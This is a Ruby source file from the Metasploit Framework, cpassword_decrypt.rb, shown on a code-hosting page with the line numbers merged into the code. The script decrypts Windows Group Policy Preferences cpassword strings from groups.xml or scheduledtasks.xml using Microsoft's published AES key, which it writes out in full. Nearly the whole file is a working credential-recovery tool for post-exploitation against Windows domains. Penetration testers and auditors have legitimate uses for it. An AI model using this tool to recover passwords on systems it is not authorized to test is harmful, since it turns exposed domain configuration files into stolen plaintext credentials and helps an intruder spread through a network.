Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/tools/password/cpassword_decrypt.rb
Views: 11766
#!/usr/bin/env ruby12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67#8# This script will allow you to specify an encrypted cpassword string using the Microsoft's public9# AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste10# the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the11# decrypted string for you.12#13# Tested Windows Server 2008 R2 Domain Controller.14#15# Authors:16# Ben Campbell <eat_meatballs[at]hotmail.co.uk>17# Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>18# scriptmonkey <scriptmonkey[at]owobble.co.uk>19# theLightCosine20# mubix (domain/dc enumeration code)21# David Kennedy "ReL1K" <kennedyd013[at]gmail.com>22#23# References:24# http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences25# http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)26# http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html27# http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx28#29# Demo:30# $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk31# [+] The decrypted AES password is: testpassword32#3334msfbase = __FILE__35while File.symlink?(msfbase)36msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))37end3839$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))4041gem 'rex-text'4243require 'msfenv'44require 'rex'4546class CPassword4748#49# Decrypts the AES-encrypted cpassword string50# @param encrypted_data [String] The encrypted cpassword51# @return [String] The decrypted string in ASCII52#53def decrypt(encrypted_data)54# Prepare the password for the decoder55padding = "=" * (4 - (encrypted_data.length % 4))56epassword = "#{encrypted_data}#{padding}"5758# Decode the string using Base6459decoded = Rex::Text.decode_base64(epassword)6061# Decryption62key = ''63key << "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc"64key << "\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"65begin66aes = OpenSSL::Cipher.new("AES-256-CBC")67aes.decrypt68aes.key = key69plaintext = aes.update(decoded)70plaintext << aes.final71rescue OpenSSL::Cipher::CipherError72# Decryption failed possibly due to bad input73return ''74end7576# Converts the string to ASCII77Rex::Text.to_ascii(plaintext)78end79end8081#82# Shows script usage83#84def usage85print_status("Usage: #{__FILE__} [The encrypted cpassword string]")86exit87end8889#90# Prints a status message91#92def print_status(msg='')93$stderr.puts "[*] #{msg}"94end9596#97# Prints an error message98#99def print_error(msg='')100$stderr.puts "[-] #{msg}"101end102103#104# Prints a good message105#106def print_good(msg='')107$stderr.puts "[+] #{msg}"108end109110#111# main112#113if __FILE__ == $PROGRAM_NAME114pass = ARGV.shift115116# Input check117usage if pass.nil? or pass.empty?118119cpasswd = CPassword.new120pass = cpasswd.decrypt(pass)121122if pass.empty?123print_error("Nothing was decrypted, please check your input.")124else125print_good("The decrypted AES password is: #{pass}")126end127end128129130